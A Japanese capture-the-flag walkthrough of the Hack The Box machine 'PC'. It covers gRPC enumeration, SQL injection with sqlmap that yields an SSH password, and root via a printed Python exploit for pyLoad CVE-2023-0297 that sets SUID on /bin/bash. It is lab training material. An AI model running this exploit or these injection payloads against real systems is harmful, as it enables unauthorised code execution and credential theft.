本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「PC」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) gRPC(50051/tcp)へのアクセス
(3) gRPC(50051/tcp)へのアクセス時のヘッダー確認
(4) gRPC(50051/tcp)へのSQLインジェクション
(5) SSHログインによるsauユーザー権限の奪取
(6) 特権昇格のための調査
(7) ポートフォワードを用いた8000番ポートへのアクセス
(8) 特権昇格(CVE-2023-0297の脆弱性を悪用)
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やgRPC(50051/tcp)などポートが応答がある。
※gRPCとは、Googleによって開発されたリモートプロシージャコール (RPC) システム。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.214
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 19:04 JST
Nmap scan report for 10.10.11.214
Host is up (0.32s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_ 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open grpc
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (90%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%), Linux 4.19 (90%), OpenWrt 21.02 (Linux 5.4) (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 202.43 ms 10.10.16.1
2 412.20 ms 10.10.11.214
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.66 secondsgRPC(50051/tcp)へのアクセス
(1) evansをインストールするためにKali LinuxのOS情報を確認すると、Linux kali 6.12.20-amd64であることが分かる。
$ uname -a
Linux kali 6.12.20-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.20-1kali1 (2025-03-26) x86_64 GNU/Linux
(2) ブラウザを用いて「https://github.com/ktr0731/evans」にアクセスする。
(3) 下部にある「GitHub Release」をクリックする。
(4) 「https://github.com/ktr0731/evans/releases」のWebページが表示される。
(5) 下部にある「evans_linux_amd64.tar.gz」をクリックすると、ファイルがダウンロードされる。
(6) ダウンロードしたファイル(evans_linux_amd64.tar.gz)を解凍する。
$ tar -zxvf evans_linux_amd64.tar.gz
$ ls -l
-rwxr-xr-x 1 kali kali 24144399 2月 26 2023 evans
-rw-rw-r-- 1 kali kali 12361429 7月 4 07:20 evans_linux_amd64.tar.gz
(7) evansを用いて攻撃対象のマシン(PC)のgRPC(50051/tcp)にアクセスする。
$ ./evans --host 10.10.11.214 -r
______
| ____|
| |__ __ __ __ _ _ __ ___
| __| \ \ / / / _. | | '_ \ / __|
| |____ \ V / | (_| | | | | | \__ \
|______| \_/ \__,_| |_| |_| |___/
more expressive universal gRPC client
SimpleApp@10.10.11.214:50051>
(8) evansを用いてサービス一覧を確認すると、3個のRPC(LoginUser、RegisterUser、getInfo)があることが分かる。
SimpleApp@10.10.11.214:50051> show service
+-----------+--------------+---------------------+----------------------+
| SERVICE | RPC | REQUEST TYPE | RESPONSE TYPE |
+-----------+--------------+---------------------+----------------------+
| SimpleApp | LoginUser | LoginUserRequest | LoginUserResponse |
| SimpleApp | RegisterUser | RegisterUserRequest | RegisterUserResponse |
| SimpleApp | getInfo | getInfoRequest | getInfoResponse |
+-----------+--------------+---------------------+----------------------+
(9) SimpleAppサービスのRegisterUserにアクセスして、ユーザーを登録する。
SimpleApp@10.10.11.214:50051> service SimpleApp
SimpleApp@10.10.11.214:50051> call RegisterUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
{
"message": "Account created for user zerizeri!"
}
(10) 登録したユーザーを用いてログインすると、IDが表示される。
SimpleApp@10.10.11.214:50051> call LoginUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
{
"message": "Your id is 868."
}
(11) 取得したIDを用いてgetInfoを呼び出すと、tokenが必要である旨のメッセージが表示される。
SimpleApp@10.10.11.214:50051> call getInfo
id (TYPE_STRING) => 868
{
"message": "Authorization Error.Missing 'token' header"
}
(12) 現在設定されているヘッダー情報を確認すると、tokenヘッダーは設定されていないことが分かる。
SimpleApp@10.10.11.214:50051> show header
+-------------+-------+
| KEY | VAL |
+-------------+-------+
| grpc-client | evans |
+-------------+-------+gRPC(50051/tcp)へのアクセス時のヘッダー確認
(1) evansの使用方法を確認すると、「–enrich」オプションでレスポンスのヘッダーを確認できる。
SimpleApp@10.10.11.214:50051> call --help
usage: call <method name>
Options:
--add-repeated-manually prompt asks whether to add a value if it encountered to a repeated field
--bytes-as-base64 explicitly interpret TYPE_BYTES input as base64-encoded string (mutually exclusive with --bytes-from-file and --bytes-as-quoted-literals)
--bytes-as-quoted-literals interpret TYPE_BYTES input as a string of (quoted) byte literal or Unicode (mutually exclusive with --bytes-from-file and --bytes-as-base64)
--bytes-from-file interpret TYPE_BYTES input as a relative path to a file (mutually exclusive with --bytes-as-base64)
--dig-manually prompt asks whether to dig down if it encountered to a message field
--emit-defaults render fields with default values
--enrich enrich response output includes header, message, trailer and status
-r, --repeat repeat previous unary or server streaming request (if exists)
(2) 「–enrich」オプションを指定してユーザーを登録する。
SimpleApp@10.10.11.214:50051> call --enrich RegisterUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
{
"message": "Account created for user zerizeri!"
}
code: OK
number: 0
message:
(3) 「–enrich」オプションを指定して登録したユーザーを用いてログインすると、IDとtokenヘッダーの情報が表示されていることが分かる。
SimpleApp@10.10.11.214:50051> call --enrich LoginUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
{
"message": "Your id is 302."
}
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiemVyaXplcmkiLCJleHAiOjE3NTE2OTczNjJ9.MMkocTXc-ppRgzynFQAzLgFba8jfo-16QQpih0mXPbQ'
code: OK
number: 0
message: ""
(4) 取得したtokenヘッダーの情報を設定する。
SimpleApp@10.10.11.214:50051> header token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiemVyaXplcmkiLCJleHAiOjE3NTE2OTczNjJ9.MMkocTXc-ppRgzynFQAzLgFba8jfo-16QQpih0mXPbQ
SimpleApp@10.10.11.214:50051> show header
+-------------+---------------------------------------------------------------------------------------------------------------------------------------+
| KEY | VAL |
+-------------+---------------------------------------------------------------------------------------------------------------------------------------+
| grpc-client | evans |
| token | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiemVyaXplcmkiLCJleHAiOjE3NTE2OTczNjJ9.MMkocTXc-ppRgzynFQAzLgFba8jfo-16QQpih0mXPbQ |
+-------------+---------------------------------------------------------------------------------------------------------------------------------------+
(3) 「–enrich」オプションを指定して情報を取得すると、エラーメッセージが表示される。
SimpleApp@10.10.11.214:50051> call --enrich getInfo
id (TYPE_STRING) => 302
content-type: application/grpc
code: Unknown
number: 2
message: "Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable"
command call: rpc error: code = Unknown desc = Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable
(4) 試しにSQLインジェクションの脆弱性があるか確認するために、IDにSQL文を埋め込むと実行できる。そのため、SQLインジェクションの脆弱性があることが分かる。
SimpleApp@10.10.11.214:50051> call --enrich getInfo
id (TYPE_STRING) => 302 UNION SELECT 1
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
{
"message": "1"
}
code: OK
number: 0
message:gRPC(50051/tcp)へのSQLインジェクション
(1) sqlmapを用いたSQLインジェクションを実行するためにリクエストデータを取得する必要がある。そのため、ブラウザを用いてgRPCへアクセスできる「https://github.com/fullstorydev/grpcui」を実行する準備をする。
(2) 「https://github.com/fullstorydev/grpcui」を使用するために各コマンドを実行する。
$ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
$ export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/linuxbrew/.linuxbrew/bin
$ brew -v
Homebrew 4.5.8
$ brew install grpcui
$ grpcui -version
grpcui 1.4.3
(3) grpcuiを用いて攻撃対象のマシン(PC)のgRPC(50051/tcp)にアクセスする。
$ grpcui -plaintext 10.10.11.214:50051
(4) ブラウザが起動してgRPC Web UIのWebページが表示される。
(5) デフォルトではIPアドレスが127.0.0.1へのアクセスはプロキシを経由しないため、FireFoxのURL欄に「about:config」を入力してアクセスする。その後、「Accept the Risk and Continue」をクリックする。
(6) 「network.proxy.allow_hijacking_localhost」の値をTrueに変更する。
(7) 再度「–enrich」オプションを指定してユーザーを登録する。
SimpleApp@10.10.11.214:50051> call --enrich RegisterUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
{
"message": "Account created for user zerizeri!"
}
code: OK
number: 0
message: ""
(8) 「–enrich」オプションを指定して登録したユーザーを用いてログインして、IDとtokenヘッダーの情報を確認する。
SimpleApp@10.10.11.214:50051> call --enrich LoginUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
{
"message": "Your id is 829."
}
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiemVyaXplcmkiLCJleHAiOjE3NTE3NDI2NTR9.o6ZQPEzEnFL-S5jeuteQB_SPCuLp8EutjQ1DcMP_-g8'
code: OK
number: 0
message: ""
(9) 取得したIDやtokenヘッダーの情報を入力して、getInfoメソッドを実行する。
(10) レスポンスデータの値が表示されることを確認する。
(11) Burp Suiteでリクエストデータの内容を確認する。
(12) 「”data”:[{“id”:”829″}]」の値を「”data”:[{“id”:”829*”}]」に変更して、リクエストデータの値をファイルに保存する。
$ vi request.txt
【request.txtの内容】
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:39773
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
x-grpcui-csrf-token: wvweH_TpvGxFdcgsaH96cRJR50vT7PNuDAtqetLZ69U
X-Requested-With: XMLHttpRequest
Content-Length: 197
Origin: http://127.0.0.1:39773
Connection: keep-alive
Referer: http://127.0.0.1:39773/
Cookie: _grpcui_csrf_token=wvweH_TpvGxFdcgsaH96cRJR50vT7PNuDAtqetLZ69U
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiemVyaXplcmkiLCJleHAiOjE3NTE3NDI2NTR9.o6ZQPEzEnFL-S5jeuteQB_SPCuLp8EutjQ1DcMP_-g8"}],"data":[{"id":"829*"}]}
(13) sqlmapを用いてSQLインジェクションを実行すると、sauユーザーのパスワードが「HereIsYourPassWord1431」であることが分かる。
$ sqlmap -r request.txt --dump --threads 10 --level 5 --risk 3 --batch
ーーー(省略)ーーー
[01:41:28] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[01:41:28] [INFO] fetching tables for database: 'SQLite_masterdb'
[01:41:28] [INFO] fetching columns for table 'messages'
[01:41:29] [INFO] fetching entries for table 'messages'
Database: <current>
Table: messages
[1 entry]
+----+----------------------------------------------+----------+
| id | message | username |
+----+----------------------------------------------+----------+
| 1 | The admin is working hard to fix the issues. | admin |
+----+----------------------------------------------+----------+
[01:41:29] [INFO] table 'SQLite_masterdb.messages' dumped to CSV file '/home/kali/.local/share/sqlmap/output/127.0.0.1/dump/SQLite_masterdb/messages.csv'
[01:41:29] [INFO] fetching columns for table 'accounts'
[01:41:30] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[2 entries]
+------------------------+----------+
| password | username |
+------------------------+----------+
| admin | admin |
| HereIsYourPassWord1431 | sau |
+------------------------+----------+
ーーー(省略)ーーーSSHログインによるsauユーザー権限の奪取
(1) SSHを用いてsauユーザーでログインする。
$ ssh sau@10.10.11.214
→パスワード(HereIsYourPassWord1431)を入力する。
(2) 現在ログインしているユーザー情報を確認すると、sauユーザーであることが分かる。
$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
$ whoami
sau
(3) 一般ユーザー用のフラグファイルを確認する。
$ cat /home/sau/user.txt
ae228a6930a321ed2cf5290ff9edd917特権昇格のための調査
(1) sudoコマンドの設定を確認する。
$ sudo -l
→パスワード(HereIsYourPassWord1431)を入力する。
Sorry, user sau may not run sudo on localhost.
(2) SUIDファイルを検索する。
$ find / -perm -u=s -type f 2> /dev/null
/snap/snapd/17950/usr/lib/snapd/snap-confine
/snap/core20/1778/usr/bin/chfn
/snap/core20/1778/usr/bin/chsh
/snap/core20/1778/usr/bin/gpasswd
/snap/core20/1778/usr/bin/mount
/snap/core20/1778/usr/bin/newgrp
/snap/core20/1778/usr/bin/passwd
/snap/core20/1778/usr/bin/su
/snap/core20/1778/usr/bin/sudo
/snap/core20/1778/usr/bin/umount
/snap/core20/1778/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1778/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/at
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/umount
/usr/bin/gpasswd
(3) .bash_historyファイルを確認すると、何も出力されない。
$ cat .bash_history
(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。
$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
8000 open
9666 open
41400 open
47010 open
50051 open
$ ss -tlpn | grep "LISTEN"
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 128 0.0.0.0:9666 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 4096 *:50051 *:*
(5) OSの情報を確認すると、「Ubuntu 20.04.6 LTS」であることが分かる。
$ uname -a
Linux pc 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.6 LTS
Release: 20.04
Codename: focalポートフォワードを用いた8000番ポートへのアクセス
(1) Kali Linuxの8000番ポートに接続すると、攻撃対象のマシン(PC)の8000番にアクセスするようにポートフォワードの設定をする。
※Kali Linux上で以下のコマンドを実行する。
$ ssh -L 8000:127.0.0.1:8000 sau@10.10.11.214
→パスワード(HereIsYourPassWord1431)を入力する。
(2) ブラウザを用いて「http://127.0.0.1:8000/」にアクセスすると、「http://127.0.0.1:8000/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F」にリダイレクトされPyLoadのWebページが表示される。
(3) 攻撃対象マシン(PC)上でpyloadのプロセスを確認すると、rootユーザーで実行されていることが分かる。
※sauユーザーでログインした攻撃対象マシン(PC)上で以下のコマンドを実行する。
$ ps aux | grep pyload
root 1062 0.0 1.6 1217404 65892 ? Ssl Jul05 0:12 /usr/bin/python3 /usr/local/bin/pyload
sau 2471 0.0 0.0 8160 2544 pts/0 S+ 00:24 0:00 grep --color=auto pyload
(4) pyloadのバージョンを確認すると、0.5.0であることが分かる。
※sauユーザーでログインした攻撃対象マシン(PC)上で以下のコマンドを実行する。
$ pyload --version
pyLoad 0.5.0
(5) 「pyLoad 0.5.0 exploit」でGoogle検索すると、CVE-2023-0297のコードインジェクションの脆弱性があり、ExploitDB(https://www.exploit-db.com/exploits/51532)に攻撃コードが公開されている。
(6) 「import os」と「os.environ[“http_proxy”] = “http://127.0.0.1:8080″」を追記して、ExploitDB(https://www.exploit-db.com/exploits/51532)の攻撃コードをファイルに保存する。
※Kali Linux上で以下のコマンドを実行する。
$ vi CVE-2023-0297.py
【CVE-2023-0297.pyの内容】
import requests, argparse
import os
os.environ["http_proxy"] = "http://127.0.0.1:8080"
parser = argparse.ArgumentParser()
parser.add_argument('-u', action='store', dest='url', required=True, help='Target url.')
parser.add_argument('-c', action='store', dest='cmd', required=True, help='Command to execute.')
arguments = parser.parse_args()
def doRequest(url):
try:
res = requests.get(url + '/flash/addcrypted2')
if res.status_code == 200:
return True
else:
return False
except requests.exceptions.RequestException as e:
print("[!] Maybe the host is offline :", e)
exit()
def runExploit(url, cmd):
endpoint = url + '/flash/addcrypted2'
if " " in cmd:
validCommand = cmd.replace(" ", "%20")
else:
validCommand = cmd
payload = 'jk=pyimport%20os;os.system("'+validCommand+'");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'
test = requests.post(endpoint, headers={'Content-type': 'application/x-www-form-urlencoded'},data=payload)
print('[+] The exploit has be executeded in target machine. ')
def main(targetUrl, Command):
print('[+] Check if target host is alive: ' + targetUrl)
alive = doRequest(targetUrl)
if alive == True:
print("[+] Host up, let's exploit! ")
runExploit(targetUrl,Command)
else:
print('[-] Host down! ')
if(arguments.url != None and arguments.cmd != None):
targetUrl = arguments.url
Command = arguments.cmd
main(targetUrl, Command)
(7) CVE-2023-0297の脆弱性を悪用して、「touch /tmp/tmp1.txt」コマンドを実行する。
※Kali Linux上で以下のコマンドを実行する。
$ python3 CVE-2023-0297.py -u http://127.0.0.1:8000 -c "touch /tmp/tmp1.txt"
(8) /tmp/tmp1.txtファイルを確認すると、rootユーザー権限でファイルが生成されていることが分かる。そのため、攻撃対象のマシン(PC)にCVE-2023-0297の脆弱性を悪用すると、rootユーザー権限でコマンドを実行できることが分かる。
※sauユーザーでログインした攻撃対象マシン(PC)上で以下のコマンドを実行する。
$ ls -al /tmp/tmp1.txt
-rw-r--r-- 1 root root 0 Jul 6 00:46 /tmp/tmp1.txt
(9) 参考までに、Burp Suiteでリクエストデータを確認することができる。
【リクエストデータの内容】
POST /login?next=http%3A%2F%2F127.0.0.1%3A8000%2F/flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 113
jk=pyimport%20os;os.system("touch%20/tmp/tmp1.txt");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

特権昇格(CVE-2023-0297の脆弱性を悪用)
(1) /bin/bashにSUIDを設定することで特権昇格ができるため、SUID設定前の/bin/bashの権限を確認する。
※sauユーザーでログインした攻撃対象マシン(PC)上で以下のコマンドを実行する。
$ ls -al /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
(2) Burp Suiteを用いて「chmod +s /bin/bash」コマンドをURLエンコードする。
【URLエンコード前】
chmod +s /bin/bash
【URLエンコード後】
%63%68%6d%6f%64%20%2b%73%20%2f%62%69%6e%2f%62%61%73%68
(3) CVE-2023-0297の脆弱性を悪用して、「chmod +s /bin/bash」コマンドを実行する。
※Kali Linux上で以下のコマンドを実行する。
$ python3 CVE-2023-0297.py -u http://127.0.0.1:8000 -c "%63%68%6d%6f%64%20%2b%73%20%2f%62%69%6e%2f%62%61%73%68"
[+] Check if target host is alive: http://127.0.0.1:8000
[+] Host up, let's exploit!
[+] The exploit has be executeded in target machine.
(4) 参考までに、Burp Suiteでリクエストデータを確認することができる。
【リクエストデータの内容】
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 146
jk=pyimport%20os;os.system("%63%68%6d%6f%64%20%2b%73%20%2f%62%69%6e%2f%62%61%73%68");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
(5) /bin/bashにSUIDを設定されていることを確認する。
$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
(6) 「/bin/bash -p」コマンドを実行して、特権昇格する。
$ /bin/bash -p
bash-5.0#
(7) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
# id
uid=1001(sau) gid=1001(sau) euid=0(root) egid=0(root) groups=0(root),1001(sau)
# whoami
root
(8) 特権ユーザー用のフラグファイルを確認する。
# cat /root/root.txt
c5111514f1ac511dd1fce6635d0915c7関連記事(Hack The Box)
※後日作成予定。

